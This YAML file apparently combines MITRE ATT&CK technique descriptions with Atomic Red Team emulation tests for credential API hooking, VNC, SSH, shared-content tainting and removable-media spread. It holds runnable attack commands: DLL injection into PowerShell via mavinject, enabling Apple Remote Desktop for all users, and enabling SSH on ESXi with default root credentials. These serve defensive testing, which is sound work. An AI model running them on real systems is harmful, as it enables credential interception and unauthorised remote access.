        description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
        source_name: Microsoft Hook Overview
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
        description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
          Retrieved December 12, 2017.'
        source_name: Adlice Software IAT Hooks Oct 2014
      - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
        description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
          Mode. Retrieved December 20, 2017.'
        source_name: MWRInfoSecurity Dynamic Hooking 2015
      - url: https://www.exploit-db.com/docs/17802.pdf
        description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
          December 12, 2017.
        source_name: HighTech Bridge Inline Hooking Sept 2011
      - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
        description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
          Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
        source_name: Volatility Detecting Hooks Sept 2012
      - url: https://github.com/prekageo/winhook
        description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
        source_name: PreKageo Winhook Jul 2011
      - url: https://github.com/jay/gethooks
        description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
          12, 2017.
        source_name: Jay GetHooks Sept 2011
      - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
        description: Felici, M. (2006, December 6). Any application-defined hook procedure
          on my machine?. Retrieved December 12, 2017.
        source_name: Zairon Hooking Dec 2006
      - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
        description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
          against user-land. Retrieved December 12, 2017.'
        source_name: EyeofRa Detecting Hooking June 2017
      - url: http://www.gmer.net/
        description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
        source_name: GMER Rootkits
      - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
        description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
          December 12, 2017.
        source_name: Microsoft Process Snapshot
      - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
        description: Stack Exchange - Security. (2012, July 31). What are the methods
          to find hooked functions and APIs?. Retrieved December 12, 2017.
        source_name: StackExchange Hooks Jul 2012
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Input Capture: Credential API Hooking'
      description: |
        Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

        * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
        * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
        * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: |-
        Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)

        Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.

        Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Metadata'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1056.004
    atomic_tests:
    - name: Hook PowerShell TLS Encrypt/Decrypt Messages
      auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33
      description: 'Hooks functions in PowerShell to read TLS Communications

        '
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: Dll To Inject
          type: path
          default: PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll
        server_name:
          description: TLS Server To Test Get Request
          type: url
          default: https://www.example.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1056.004x64.dll must exist on disk at specified location (#{file_name})

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" -UseBasicParsing
      executor:
        command: |
          mavinject $pid /INJECTRUNNING "#{file_name}"
          Invoke-WebRequest #{server_name} -UseBasicParsing
        name: powershell
        elevation_required: true
lateral-movement:
  T1021.005:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Remote Services:VNC
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC).  VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)

        VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)

        Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_detection: |-
        Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.

        On macOS systems <code>log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)

        Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Logon Session: Logon Session Creation'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_system_requirements:
      - VNC server installed and listening for connections.
      type: attack-pattern
      id: attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b
      created: '2020-02-11T18:28:44.950Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1021/005
        external_id: T1021.005
      - source_name: The Remote Framebuffer Protocol
        description: T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote
          Framebuffer Protocol. Retrieved September 20, 2021.
        url: https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2
      - source_name: MacOS VNC software for Remote Desktop
        description: Apple Support. (n.d.). Set up a computer running VNC software
          for Remote Desktop. Retrieved August 18, 2021.
        url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac
      - source_name: VNC Authentication
        description: Tegan. (2019, August 15). Setting up System Authentication. Retrieved
          September 20, 2021.
        url: https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication
      - source_name: Hijacking VNC
        description: 'Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute,
          Access and Crack). Retrieved September 20, 2021.'
        url: https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc
      - source_name: macOS root VNC login without authentication
        description: Nick Miles. (2017, November 30). Detecting macOS High Sierra
          root account without authentication. Retrieved September 20, 2021.
        url: https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication
      - source_name: VNC Vulnerabilities
        description: Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities
          Found in Linux, Windows Solutions. Retrieved September 20, 2021.
        url: https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/
      - source_name: Offensive Security VNC Authentication Check
        description: Offensive Security. (n.d.). VNC Authentication. Retrieved October
          6, 2021.
        url: https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/
      - source_name: Attacking VNC Servers PentestLab
        description: Administrator, Penetration Testing Lab. (2012, October 30). Attacking
          VNC Servers. Retrieved October 6, 2021.
        url: https://pentestlab.blog/2012/10/30/attacking-vnc-servers/
      - source_name: Havana authentication bug
        description: Jay Pipes. (2013, December 23). Security Breach! Tenant A is
          seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.
        url: http://lists.openstack.org/pipermail/openstack/2013-December/004138.html
      - source_name: Apple Unified Log Analysis Remote Login and Screen Sharing
        description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs:
          Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved
          August 19, 2021.'
        url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
      - source_name: Gnome Remote Desktop grd-settings
        description: Pascal Nowack. (n.d.). Retrieved September 21, 2021.
        url: https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207
      - source_name: Gnome Remote Desktop gschema
        description: Pascal Nowack. (n.d.). Retrieved September 21, 2021.
        url: https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1021.005
    atomic_tests:
    - name: Enable Apple Remote Desktop Agent
      auto_generated_guid: 8a930abe-841c-4d4f-a877-72e9fe90b9ea
      description: "ARD leverages a blend of protocols, including VNC to send the
        screen and control buffers and SSH for secure file transfer. \nAdversaries
        can abuse ARD to gain remote code execution and perform lateral movement.\n\nReferences:
        \ https://www.mandiant.com/resources/blog/leveraging-apple-remote-desktop-for-good-and-evil\n"
      supported_platforms:
      - macos
      executor:
        name: sh
        command: 'sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart
          -activate -configure -allowAccessFor -allUsers -privs -all -quiet

          '
        cleanup_command: 'sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart
          -deactivate -stop -configure -privs -none -quiet

          '
        elevation_required: true
  T1080:
    technique:
      modified: '2023-05-31T12:33:20.915Z'
      name: Taint Shared Content
      description: |2-

        Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

        A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

        Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Michal Dida, ESET
      - David Routin
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.

        Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Office 365
      - SaaS
      - Linux
      - macOS
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Network Share: Network Share Access'
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_system_requirements:
      - Access to shared folders and content with write permissions
      type: attack-pattern
      id: attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c
      created: '2017-05-31T21:31:01.759Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1080
        external_id: T1080
      - source_name: Retwin Directory Share Pivot
        description: Routin, D. (2017, November 13). Abusing network shares for efficient
          lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.
        url: https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1021.004:
    technique:
      modified: '2023-08-11T20:24:03.069Z'
      name: 'Remote Services: SSH'
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

        SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.

        On macOS systems <code>log show --predicate 'process = "sshd"'</code> can be used to review incoming SSH connection attempts for suspicious activity. The command <code>log show --info --predicate 'process = "ssh" or eventMessage contains "ssh"'</code> can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)

        On Linux systems SSH activity can be found in the logs located in <code>/var/log/auth.log</code> or <code>/var/log/secure</code> depending on the distro you are using.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_system_requirements:
      - An SSH server is configured and running.
      type: attack-pattern
      id: attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6
      created: '2020-02-11T18:27:15.774Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1021/004
        external_id: T1021.004
      - source_name: Apple Unified Log Analysis Remote Login and Screen Sharing
        description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs:
          Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved
          August 19, 2021.'
        url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1021.004
    atomic_tests:
    - name: ESXi - Enable SSH via PowerCLI
      auto_generated_guid: 8f6c14d1-f13d-4616-b7fc-98cc69fe56ec
      description: 'An adversary enables the SSH service on a ESXi host to maintain
        persistent access to the host and to carryout subsequent operations.

        '
      supported_platforms:
      - linux
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        vm_user:
          description: Specify the privilege user account on ESXi Server
          type: string
          default: root
        vm_pass:
          description: Specify the privilege user password on ESXi Server
          type: string
          default: pass
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if VMWARE PowerCLI PowerShell Module is installed.

          '
        prereq_command: |
          $RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailable
          if (-not $RequiredModule) {exit 1}
        get_prereq_command: 'Install-Module -Name VMware.PowerCLI

          '
      executor:
        command: "Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false
          -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password
          #{vm_pass}\nGet-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key
          -eq \"TSM-SSH\" } | Start-VMHostService -Confirm:$false\n"
        cleanup_command: "Set-PowerCLIConfiguration -InvalidCertificateAction Ignore
          -ParticipateInCEIP:$false -Confirm:$false \nConnect-VIServer -Server #{vm_host}
          -User #{vm_user} -Password #{vm_pass}\nGet-VMHostService -VMHost #{vm_host}
          | Where-Object {$_.Key -eq \"TSM-SSH\" } | Stop-VMHostService -Confirm:$false\n"
        name: powershell
        elevation_required: true
  T1091:
    technique:
      modified: '2023-10-17T20:42:21.453Z'
      name: Replication Through Removable Media
      description: |-
        Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

        Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Joas Antonio dos Santos, @C0d3Cr4zy
      x_mitre_deprecated: false
      x_mitre_detection: Monitor file access on removable media. Detect processes
        that execute from removable media after it is mounted or when initiated by
        a user. If a remote access tool is used in this manner to move laterally,
        then additional actions are likely to occur after execution, such as opening
        network connections for Command and Control and system and network information
        Discovery.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Process: Process Creation'
      - 'Drive: Drive Creation'
      - 'File: File Creation'
      x_mitre_system_requirements:
      - Removable media allowed, Autorun enabled or vulnerability present that allows
        for code execution
      type: attack-pattern
      id: attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4
      created: '2017-05-31T21:31:08.977Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1091
        external_id: T1091
      - source_name: Windows Malware Infecting Android
        description: Lucian Constantin. (2014, January 23). Windows malware tries
          to infect Android devices connected to PCs. Retrieved May 25, 2022.
        url: https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html
      - source_name: iPhone Charging Cable Hack
        description: Zack Whittaker. (2019, August 12). This hacker’s iPhone charging
          cable can hijack your computer. Retrieved May 25, 2022.
        url: https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/
      - source_name: 'Exploiting Smartphone USB '
        description: Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone
          USB Connectivity For Fun And Profit. Retrieved May 25, 2022.
        url: https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1091
    atomic_tests:
    - name: USB Malware Spread Simulation
      auto_generated_guid: d44b7297-622c-4be8-ad88-ec40d7563c75
      description: "Simulates an adversary copying malware to all connected removable
        drives. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        command: |
          $RemovableDrives=@()
          $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
          ForEach ($Drive in $RemovableDrives)
          {
          write-host "Removable Drive Found:" $Drive
          New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives."
          }
        cleanup_command: |
          $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
          ForEach ($Drive in $RemovableDrives)
          {
          Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore
          }
  T1021.008:
    technique:
      modified: '2023-10-27T18:32:11.219Z'
      name: Direct Cloud VM Connections
      description: "Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        to log directly into accessible cloud hosted compute infrastructure through
        cloud native methods. Many cloud providers offer interactive connections to
        virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009),
        such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance
        Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in
        the cloud), and AWS System Manager.(Citation: AWS System Manager).\n\nMethods
        of authentication for these connections can include passwords, application
        access tokens, or SSH keys. These cloud native methods may, by default, allow
        for privileged access on the host with SYSTEM or root level access. \n\nAdversaries
        may utilize these cloud native methods to directly access virtual infrastructure
        and pivot through an environment.(Citation: SIM Swapping and Abuse of the
        Microsoft Azure Serial Console) These connections typically provide direct
        console access to the VM rather than the execution of scripts (i.e., [Cloud
        Administration Command](https://attack.mitre.org/techniques/T1651))."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Thanabodi Phrakhun, @naikordian
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      type: attack-pattern
      id: attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09
      created: '2023-06-02T15:27:55.412Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1021/008
        external_id: T1021.008
      - source_name: EC2 Instance Connect
        description: AWS. (2023, June 2). Connect using EC2 Instance Connect. Retrieved
          June 2, 2023.
        url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html
      - source_name: AWS System Manager
        description: AWS. (2023, June 2). What is AWS System Manager?. Retrieved June
          2, 2023.
        url: https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html
      - source_name: 'lucr-3: Getting SaaS-y in the cloud'
        description: 'Ian Ahl. (2023, September 20). LUCR-3: Scattered Spider Getting
          SaaS-y In The Cloud. Retrieved September 20, 2023.'
        url: https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud
      - source_name: SIM Swapping and Abuse of the Microsoft Azure Serial Console
        description: 'Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse
          of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced
          Attack. Retrieved June 2, 2023.'
        url: https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial
      - source_name: Azure Serial Console
        description: Microsoft. (2022, October 17). Azure Serial Console. Retrieved
          June 2, 2023.
        url: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/serial-console-overview
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1563.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Anastasios Pingios
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8
      type: attack-pattern
      created: '2020-02-25T18:34:38.290Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1563.001
        url: https://attack.mitre.org/techniques/T1563/001
      - url: https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219
        description: Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using
          ssh. Retrieved January 8, 2018.
        source_name: Slideshare Abusing SSH
      - url: https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf
        description: 'Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion
          SSH Hijacking. Retrieved December 19, 2017.'
        source_name: SSHjack Blackhat
      - url: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking
        description: Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved
          December 20, 2017.
        source_name: Clockwork SSH Agent Hijacking
      - source_name: Breach Post-mortem SSH Hijack
        url: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
        description: Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr
          11 security incident. Retrieved February 17, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: SSH Hijacking
      description: |-
        Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

        In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)

        [SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
